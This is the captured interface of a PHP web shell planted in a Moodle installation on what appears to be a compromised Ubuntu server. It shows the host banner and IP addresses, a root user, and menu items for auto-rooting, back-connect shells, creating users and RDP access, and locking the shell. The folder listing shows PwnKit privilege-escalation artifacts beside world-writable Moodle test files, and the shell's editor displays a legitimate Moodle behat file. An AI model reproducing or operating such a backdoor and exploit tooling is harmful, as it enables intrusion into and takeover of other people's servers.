Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
grade /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
behat_grade.php
15.78
KB
-rwxrwxrwx
behat_grades.php
3.87
KB
-rwxrwxrwx
grade_UI_settings.feature
2.35
KB
-rwxrwxrwx
grade_aggregation.feature
30.71
KB
-rwxrwxrwx
grade_aggregation_changes.feat...
19.65
KB
-rwxrwxrwx
grade_average.feature
2.28
KB
-rwxrwxrwx
grade_calculated_grade_items.f...
10.71
KB
-rwxrwxrwx
grade_calculated_grade_items_2...
10.8
KB
-rwxrwxrwx
grade_calculated_weights.featu...
13.81
KB
-rwxrwxrwx
grade_category_validation.feat...
6.47
KB
-rwxrwxrwx
grade_contribution_with_extra_...
3.98
KB
-rwxrwxrwx
grade_grade_minmax_change.feat...
3.81
KB
-rwxrwxrwx
grade_hidden_items.feature
4.75
KB
-rwxrwxrwx
grade_hidden_items_locked_cate...
4.34
KB
-rwxrwxrwx
grade_item_duplication.feature
2.21
KB
-rwxrwxrwx
grade_item_validation.feature
5.02
KB
-rwxrwxrwx
grade_letter_boundary.feature
1.85
KB
-rwxrwxrwx
grade_letter_boundary_20160518...
1.96
KB
-rwxrwxrwx
grade_letter_logging.feature
1.46
KB
-rwxrwxrwx
grade_mingrade.feature
6.23
KB
-rwxrwxrwx
grade_minmax.feature
11.22
KB
-rwxrwxrwx
grade_natural_exclude_empty.fe...
20.13
KB
-rwxrwxrwx
grade_natural_exclude_empty_20...
21.03
KB
-rwxrwxrwx
grade_natural_normalisation.fe...
14.54
KB
-rwxrwxrwx
grade_natural_normalisation_20...
7.12
KB
-rwxrwxrwx
grade_override_letter.feature
9.56
KB
-rwxrwxrwx
grade_point_maximum.feature
4.7
KB
-rwxrwxrwx
grade_regrade_do_not_override....
3.74
KB
-rwxrwxrwx
grade_scales.feature
10.83
KB
-rwxrwxrwx
grade_scales_aggregation.featu...
6.99
KB
-rwxrwxrwx
grade_scales_logging.feature
959
B
-rwxrwxrwx
grade_single_item_scales.featu...
8.24
KB
-rwxrwxrwx
grade_to_pass.feature
13.24
KB
-rwxrwxrwx
grade_view.feature
5.15
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : behat_grades.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. // NOTE: no MOODLE_INTERNAL test here, this file may be required by behat before including /config.php. require_once(__DIR__ . '/../../../lib/behat/behat_base.php'); /** * Behat grade related steps definitions. * * @package core_grades * @copyright 2022 Mathew May <mathew.solutions> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class behat_grades extends behat_base { /** * Convert page names to URLs for steps like 'When I am on the "[identifier]" "[page type]" page'. * * Recognised page names are: * | pagetype | name meaning | description | * | [report] view | Course name | The view page for the specified course and report | * | gradebook setup | Course name | The gradebook setup page for the specified course | * | course grade settings | Course name | The grade settings page | * * @param string $type identifies which type of page this is - for example "Grader > View" * @param string $identifier identifies the particular page - for example "Course name" * @return moodle_url the corresponding URL. */ protected function resolve_page_instance_url(string $type, string $identifier): moodle_url { $type = strtolower($type); if (strpos($type, '>') !== false) { [$pluginname, $type] = explode('>', $type); $pluginname = strtolower(trim($pluginname)); // Fetch the list of plugins. $plugins = \core_component::get_plugin_list('gradereport'); if (array_key_exists($pluginname, $plugins)) { $plugin = $pluginname; } else { $plugins = array_combine( array_keys($plugins), array_keys($plugins) ); // This plugin is not in the list of plugins. Check the pluginname string. $names = array_map(function($name) { return strtolower(get_string('pluginname', "gradereport_{$name}")); }, $plugins); $result = array_search($pluginname, $names); if ($result === false) { throw new \coding_exception("Unknown plugin '{$pluginname}'"); } $plugin = $result; } } $type = trim($type); switch ($type) { case 'view': return new moodle_url( "/grade/report/{$plugin}/index.php", ['id' => $this->get_course_id($identifier)] ); case 'gradebook setup': return new moodle_url( "/grade/edit/tree/index.php", ['id' => $this->get_course_id($identifier)] ); case 'course grade settings': return new moodle_url( "/grade/edit/settings/index.php", ['id' => $this->get_course_id($identifier)] ); default: throw new \coding_exception( "Unknown page type '$type' for page identifier '$identifier'" ); } } }
Close